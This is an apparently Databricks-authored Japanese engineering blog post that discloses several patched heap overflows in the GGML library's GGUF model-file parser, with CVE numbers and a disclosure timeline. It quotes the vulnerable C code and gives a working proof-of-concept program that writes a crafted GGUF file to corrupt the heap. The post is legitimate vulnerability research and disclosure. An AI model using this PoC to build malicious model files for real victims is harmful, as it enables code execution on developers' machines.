メインコンテンツへジャンプ
Engineering blog

GGUFファイルフォーマットは、GGMLライブラリのモデル重みの保存と読み込みに使用されるバイナリファイルフォーマットです。 ライブラリのドキュメントには、以下のような形式が記述されています:

"GGUFは、GGMLによる推論のためのモデルや、GGMLに基づく実行形式を保存するためのファイルフォーマットです。 GGUFは、モデルの読み込みと保存を高速化し、読みやすくするために設計されたバイナリフォーマットです。 モデルは伝統的にPyTorchや他のフレームワークを使用して開発され、GGMLで使用するためにGGUFに変換されます。"

GGUFフォーマットは、学習済みの機械学習モデルを配布するために最近普及しており、低レベルのコンテキストからモデルを利用する際に、Llama-2で最も一般的に使用されるフォーマットの1つとなっています。 llama.cpp、pythonのllmモジュール、Huggingfaceのようなggufファイルをロードするときのctransformersライブラリなど、このローダーにデータを提供するために使用できるベクターが複数あります。

GGMLライブラリは入力ファイルに対して不十分な検証を行うため、解析中に潜在的に悪用可能なメモリ破壊の脆弱性を含んでいます。 攻撃者はこれらの脆弱性を利用し、細工したggufファイルを提供することで、被害者のコンピュータ上でコードを実行する可能性があります。

このブログでは、悪用がかなり簡単なヒープ・オーバーフローをいくつか見ていきます。 ファイルの境界チェックはほとんど行われないため、境界のないユーザー入力やラップされた値でアロケーションが実行されるケースは他にも数多くあります。 また、メモリ割り当てを含め、コードベース全体でチェックされている戻り値がほとんどないことも注目に値します。 すべてのヒープオーバーフローは、gguf_init_from_file()エントリポイントを経由して到達可能です。

タイムライン

  1. 2024年1月23日ベンダーに連絡、バグ報告
  2. 2024年1月25日CVEの要請
  3. 2024年1月28日GGMLのGithubで修正をレビューしました。
  4. 2024年1月29日パッチを master ブランチにマージ

CVE-2024-25664 ヒープオーバーフロー #1: KV カウントのチェック漏れ

保存されたモデルをロードする場合、ライブラリへのエントリーポイントは、通常、gguf_init_from_file()関数(以下に注釈付きで示されています)を介して行われます。 この関数は、マジック値" GGUF" をチェックする前に、ファイルから gguf ヘッダーを読み込むことから始めます。この後、ファイル内のキーと値のペアが読み込まれ、解析されます。

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19215

struct gguf_context * gguf_init_from_file(const char * fname, struct 
gguf_init_params params) {
       FILE * file = fopen(fname, "rb");
       if (!file) {
			 return NULL;
       }
	   ...
       gguf_fread_el(file, &magic, sizeof(magic), &offset);
       for (uint32_t i = 0; i < sizeof(magic); i++) {
              if (magic[i] != GGUF_MAGIC[i]) {
                     fprintf(stderr, "%s: invalid magic characters '%c%c%c%c'\n",
                     __func__, magic[0], magic[1], magic[2], magic[3]);
                     fclose(file);
                     return NULL;
              }
       }
       ...
struct gguf_context * ctx = GGML_ALIGNED_MALLOC(sizeof(struct 
       gguf_context));
...
// read the header
...
strncpy(ctx->header.magic, magic, 4);

ok = ok && gguf_fread_el(file, &ctx->header.version, sizeof(ctx->header.version), 
&offset);
ok = ok && gguf_fread_el(file, &ctx->header.n_tensors, sizeof(ctx-
>header.n_tensors), &offset);
ok = ok && gguf_fread_el(file, &ctx->header.n_kv, sizeof(ctx->header.n_kv), 
&offset);  // File header is read in unchecked
...
// read the kv pairs
ctx->kv = malloc(ctx->header.n_kv * sizeof(struct gguf_kv)); // Allocation of 
buffer to copy in each key value pair struct wraps, and can be small for 
large value of n_kv.
...
for (uint64_t i = 0; i < ctx->header.n_kv; ++i) { // Loop using n_kv to terminate
struct gguf_kv * kv = &ctx->kv[i]; // Copy in target for each array element, 
running out of bounds of the allocated array.

ラップアロケーションの内容はgguf_kv構造体の配列で、ファイルから読み込んだデータのキーと値のペアを格納するために使用されます。 構造の定義は以下の通り:

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19133

struct gguf_kv {
     struct gguf_str key;
     enum gguf_type type;
     union gguf_value value;
};

これにより、隣接するメモリーを、valueフィールドを使って私たちがコントロールするデータか、keyフィールドの場合は私たちがコントロールするデータへのポインターで上書きすることができます。 これらはヒープを悪用するためのかなり強力なプリミティブです。 構文解析の性質上、ヒープの状態をかなり任意に操作することも可能です。 これによって搾取も容易になるはずです。

以下のPoCコードでは、0xe0のアロケーションが発生し、n_kv値は0x555555555555aで、チャンクへの書き込みループ・カウンタとして使用されます。 各書き込みは0x30サイズ(sizeof(struct gguf_kv))で、その結果、0x500のkvを含むヒープメモリが破壊されます。 ループを終了させるには、単純にファイルを早めに終了させ、EOFを読み込んでエラー状態にします。 その後にヒープを使用すると、オーバーフローによるチェックサムが失敗し、abort()エラーメッセージが表示されます。

/*
 * GGUF Heap Overflow PoC
 * Databricks AI Security Team
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ggml/ggml.h>

int main(int ac, char **av)
{
   if(ac != 2) {
      printf("usage: %s <filename>\n",av[0]);
      exit(1);
   }
   unsigned int version = 4;
   unsigned long n_tensors = 0;
   unsigned long n_kv = 0x55555555555555a; // Wrap allocation size to 0xe0
   unsigned long val = 0x4141414141414141; // Value to write out of bounds
   printf("[+] Writing to file: %s\n",av[1]);
   FILE *fp = fopen(av[1],"wb");
   if(!fp) {
      printf("Unable to write out file.\n");
      exit(1);
   } 
   printf("[+] Writing header.\n");
   fwrite("GGUF",4,1,fp); // magic
   fwrite(&version,sizeof(version),1,fp);
   fwrite(&n_tensors,sizeof(n_tensors),1,fp);
   fwrite(&n_kv,sizeof(n_kv),1,fp);
   //struct gguf_kv kv;
   uint64_t n = 4;
   char *key = "foo";
   unsigned int type = 10;   // GGUF_TYPE_UINT64  = 10,
   printf("[+] Writing gguf_kvs.\n");
   // Write  overflow
   for(int i = 0 ; i < 0x500 ; i++) {
     fwrite(&n,sizeof(n),1,fp);
     fwrite(key,strlen(key)+1,1,fp);
     fwrite(&type,sizeof(type),1,fp);
     fwrite(&val,sizeof(val),1,fp);
   }
        
   // EOF Trigger unwind/heap usage
   fclose(fp);
}
gguf_init_from_file: failed to read key-value pairs
loader(95967,0x1dd2ad000) malloc: *** error for object 0x300000002: pointer being
freed was not allocated
loader(95967,0x1dd2ad000) malloc: *** set a breakpoint in malloc_error_break to 
debug
Process 95967 stopped
* thread #1, stop reason = signal SIGABRT
  frame #0: 0x0000000186a960dc
->  0x186a960dc: b.lo   0x186a960fc
   0x186a960e0: pacibsp 
   0x186a960e4: stp    x29, x30, [sp, #-0x10]!
   0x186a960e8: mov    x29, sp
Target 0: (loader) stopped.

CVE-2024-25665 ヒープオーバーフロー #2: 文字列型の読み込み

ファイルから文字列型データを読み込むために繰り返し使用される関数gguf_fread_str()にも、ヒープオーバーフローの脆弱性が存在する可能性があります。

以下のコードでわかるように、この関数は長さエンコードされた文字列を検証なしでファイルから直接読み込みます。 まず、gguf_fread_el() を使って文字列の長さを読み込みます。 次に、任意の入力サイズ+1の割り当てが行われます。 アロケータがこのサイズを受け取ると、アロケータが使用する可能な最小のクアンタのサイズのチャンクを返します。 これが終わると、fread()関数を使って、大きなアンラップ・サイズを使ってコピーが実行されます。

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19177

static bool gguf_fread_el(FILE * file, void * dst, size_t size, size_t * offset) {
 const size_t n = fread(dst, 1, size, file);
 *offset += n;
 return n == size;
}

static bool gguf_fread_str(FILE * file, struct gguf_str * p, size_t * offset) {
 p->n    = 0;
 p->data = NULL;

 bool ok = true;

 ok = ok && gguf_fread_el(file, &p->n,    sizeof(p->n), offset); p->data = calloc(p->n + 1, 1); 
 // allocation wraps
 ok = ok && gguf_fread_el(file,  p->data, p->n,         offset);  // overflow 

 return ok;
}

CVE-2024-25666 ヒープオーバーフロー #3: テンソルカウントの未チェック

ファイル中のgguf_tensor_infosを解析する際に、#1 と非常によく似たヒープオーバーフローが発生します。 ctx->header.n_tensorsの値がチェックされず、構造体のサイズにもう一度乗算されるため、ラップが発生し、アロケーションが小さくなります。 この後、ループが各要素を順番にコピーし、ヒープがオーバーフローします。 以下のコードはこの脆弱性を示しています。

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19345

// read the tensor infos
{
 ctx->infos = malloc(ctx->header.n_tensors * sizeof(struct gguf_tensor_info)); // 
Allocate buffer, wrap resulting in small allocation.

   for (uint64_t i = 0; i < ctx->header.n_tensors; ++i) {
    struct gguf_tensor_info * info = &ctx->infos[i]; // Iterate through the array copying 
in each element, running out of bounds

CVE-2024-25667 ヒープオーバーフロー #4: ユーザーが指定した配列要素

ファイルからkv値をアンパックするとき、アンパックできる型の1つは配列型(GGUF_TYPE_ARRAY)です。 配列をパースするとき、コードは配列の型と、その型の要素数を読み取ります。 そして、GGUF_TYPE_SIZE配列の型サイズと要素数を掛け合わせて、データを格納するためのアロケーションサイズを計算します。 繰り返しになりますが、配列の要素数はユーザーが任意に指定できるため、この計算が折り返される可能性があり、その結果、小さなメモリ割り当てと大きなコピーループが発生します。 配列データはコンパクトであるため、ヒープ内容のオーバーフローは非常に抑制されます。

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19297

case GGUF_TYPE_ARRAY:
      {
      ok = ok && gguf_fread_el(file, &kv->value.arr.type, sizeof(kv->value.arr.type), 
&offset);
      ok = ok && gguf_fread_el(file, &kv->value.arr.n,  sizeof(kv->value.arr.n), 
&offset);
      switch (kv->value.arr.type) {
...                        
  	     case <types>:
         {
         kv->value.arr.data = malloc(kv->value.arr.n * GGUF_TYPE_SIZE[kv-
>value.arr.type]);
         ok = ok && gguf_fread_el(file, kv->value.arr.data, kv->value.arr.n * 
GGUF_TYPE_SIZE[kv->value.arr.type], &offset);
           } break;

CVE-2024-25668 ヒープオーバフロー #5: kv 文字列型配列のアンパッキング

また、文字列型の配列を扱う際に、配列kvのアンパック時にヒープオーバーフローの問題が発生します。 文字列を解析する場合、再び、要素カウントは、チェックされていないファイルから直接読み込まれます。 この値はgguf_str構造体のサイズと乗算され、結果としてラップされ、nに対して小さなアロケーションになります。 続いて、チャンクに入力するために、nの値までループが実行されます。 この結果、文字列構造体の内容が境界外に書き込まれます。

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19318

case GGUF_TYPE_STRING:
 {
  kv->value.arr.data = malloc(kv->value.arr.n * sizeof(struct gguf_str));
  for (uint64_t j = 0; j < kv->value.arr.n; ++j) {
   ok = ok && gguf_fread_str(file, &((struct gguf_str *) kv->value.arr.data)[j], 
&offset);
   }
  } break;

束縛されない配列インデックス

GGUFファイル内の配列のパース中に、前述のように、型の必要サイズは、GGUF_TYPE_SIZE[]配列(以下に示す)を介して割り当てのために決定されます。

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19076

static const size_t GGUF_TYPE_SIZE[GGUF_TYPE_COUNT] = {
 [GGUF_TYPE_UINT8]   = sizeof(uint8_t),
 [GGUF_TYPE_INT8]    = sizeof(int8_t),
 [GGUF_TYPE_UINT16]  = sizeof(uint16_t),
 [GGUF_TYPE_INT16]   = sizeof(int16_t),
 [GGUF_TYPE_UINT32]  = sizeof(uint32_t),
 [GGUF_TYPE_INT32]   = sizeof(int32_t),
 [GGUF_TYPE_FLOAT32] = sizeof(float),
 [GGUF_TYPE_BOOL]    = sizeof(bool),
 [GGUF_TYPE_STRING]  = sizeof(struct gguf_str),
 [GGUF_TYPE_UINT64]  = sizeof(uint64_t),
 [GGUF_TYPE_INT64]   = sizeof(int64_t),
 [GGUF_TYPE_FLOAT64] = sizeof(double),
 [GGUF_TYPE_ARRAY]   = 0, // undefined
};

配列にインデックスを付けることで、乗算によって割り当てサイズを計算するために適切なサイズが返されます。

この配列へのアクセスに使用されるインデックスはファイルから直接読み取られ、サニタイズされていません。したがって、攻撃者はこの配列の境界外のインデックスを指定し、整数ラップを引き起こすサイズを返す可能性があります。 これはアロケーションとコピーの両方で使われます。

次のコードはこのパスを示しています:

https://github.com/ggerganov/ggml/blob/faab2af1463aa556899b72 1289efcbf50c557f55/src/ggml.c#L19300

        ok = ok && gguf_fread_el(file, &kv->value.arr.n,    sizeof(kv-
>value.arr.n), &offset); // Read the type value from the file

        switch (kv->value.arr.type) {
  ...
            {
            kv->value.arr.data = malloc(kv->value.arr.n * 
GGUF_TYPE_SIZE[kv->value.arr.type]); // deref the GGUF_TYPE_SIZE 
array using the arbitrary value.
            ok = ok && gguf_fread_el(file, kv->value.arr.data, kv-
>value.arr.n * GGUF_TYPE_SIZE[kv->value.arr.type], &offset);

まとめ

これらの脆弱性は、攻撃者が機械学習モデルを利用してマルウェアを配布し、開発者を危険にさらすための新たな手段を提供することになります。 この新しい、そして急速に成長している研究分野のセキュリティ態勢は、セキュリティレビューに対するより厳密なアプローチから大きな恩恵を受けます。 その中で、DatabricksはGGML.aiのチームと緊密に連携し、これらの問題に迅速に対処しました。 コミット6b14d73以降、この投稿で取り上げた 6 件の脆弱性すべてを修正したパッチが利用可能になっています。

Databricks 無料トライアル

関連記事

Platform blog

Databricks AIセキュリティフレームワーク(DASF)の紹介

Databricks AI Security Framework(DASF)バージョン1.0 のホワイトペーパーを発表できることを嬉しく思います! このフレームワークは、ビジネス、IT、データ、AI、セキュリティの各グループのチームワークを向上させるように設計されています。 本書は、実際の攻撃観察に基づくAIセキュリティリスクの知識ベースをカタログ化することで、AIとMLの概念を簡素化し、AIセキュリティに対する徹底的な防御アプローチを提供するとともに、すぐに適用できる実践的なアドバイスを提供します。 機械学習(ML)と生成AI(GenAI)は、イノベーション、競争力、従業員の生産性を高めることで、仕事の未来を変革します。 しかし、企業は人工知能(AI)技術を活用してビジネスチャンスを得ると同時に、データ漏洩や法規制の不遵守など、潜在的なセキュリティおよびプライバシーリスクを管理するという二重の課題に取り組んでいます。 このブログでは、DASFの概要、組織のAIイニシアチブを保護するためにDASFを活用する方法、
Engineering blog

Databricksでの安全かつ責任ある生成AIデプロイのためのLLMガードレールの実装

イントロダクション よくあるシナリオを考えてみましょう。あなたのチームは、オープンソースのLLMを活用して、カスタマーサポート用のチャットボットを構築したいと考えています。 このモデルは、本番環境で顧客からの問い合わせを処理するため、いくつかの入力や出力が不適切または安全でない可能性があることに気づかない可能性があります。 そして、内部監査の最中になって初めて(運良く このデータを追跡 していた場合)、ユーザーが不適切なリクエストを送信し、チャットボットがそのユーザーとやりとりしていることに気づくのです! さらに深く掘り下げると、チャットボットが顧客を不快にさせている可能性があり、事態の深刻さはあなたが準備できる範囲を超えていることがわかります。 チームが本番環境でAIイニシアチブを保護するために、DatabricksはLLMをラップして適切な動作を強制するガードレールをサポートしています。 ガードレールに加えて、Databricksはモデルのリクエストとレスポンスをログに記録する推論テーブル( AWS | Az
Company blog

展開中のAI規制への対応をデータインテリジェンスプラットフォームが支援

世界中の政策立案者が人工知能への関心を高めています。 欧州連合(EU)議会では、これまでで最も包括的なAI規制が大差で可決されたばかりです。米国では最近、連邦政府がAIの利用を規制するための注目すべき措置をいくつか講じており、州レベルでも動きがあります。 他の国の政策立案者たちも細心の注意を払い、AI規制の整備に取り組んでいます。 これらの新たな規制は、単体のAIモデルと、Databricksの顧客がAIアプリケーションを構築するために利用する機会が増えている 複合AI システムの両方の開発と使用に影響を与えるでしょう。 2部構成の「AI規制」シリーズをご覧ください。 パート1では、米国やその他の国におけるAI政策立案の最近の活発な動きを概観し、世界的に繰り返されている規制のテーマに焦点を当てます。 パート2では、Databricksのデータインテリジェンスプラットフォームがどのようにお客様の新たな義務への対応を支援できるかを深く掘り下げ、責任あるAIに対するDatabricksの見解について説明します。 米国に
Platform blog

DatabricksによるGenAIの構築とカスタマイズ:LLMとその先へ

ジェネレーティブAIは、ビジネスに新たな可能性をもたらし、組織全体で力強く受け入れられています。 最近の MIT Tech Reviewの レポートによると、調査対象となった600人のCIO全員がAIへの投資を増やしており、71%が独自のカスタムLLMやその他のGenAIモデルの構築を計画していると回答しています。 しかし、多くの組織では、自社のデータで学習させたモデルを効果的に開発するために必要なツールが不足している可能性があります。 ジェネレーティブAIへの飛躍は、単にチャットボットを導入するだけではありません。 この変革の中心は、 データレイクハウス の出現です。 このような高度なデータアーキテクチャは、GenAIの可能性を最大限に活用する上で不可欠であり、データとAI技術の迅速かつコスト効率の高い、より広範な民主化を可能にします。 企業が競争上の優位性を確保するためにGenAIを活用したツールやアプリケーションへの依存度を高める中、基盤となるデータインフラは、これらの先進技術を効果的かつ安全にサポートでき
エンジニアリングのブログ一覧へ